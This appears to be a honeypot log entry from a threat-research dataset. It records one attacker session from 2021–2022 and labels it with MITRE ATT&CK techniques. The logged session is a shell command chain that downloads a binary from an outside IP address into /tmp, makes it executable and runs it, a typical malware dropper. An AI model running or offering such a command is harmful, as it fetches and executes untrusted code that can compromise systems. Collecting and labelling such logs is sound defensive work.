Honeypot attack session (period 2021_2022), commands issued:
yum install wget -y; apt install wget -y; cd /tmp/; rm -rf x86_64; rm -rf x86; wget http://2.56.59.225/x86_64; chmod 777 x86_64; ./x86_64 x86

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1070 Indicator Removal
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter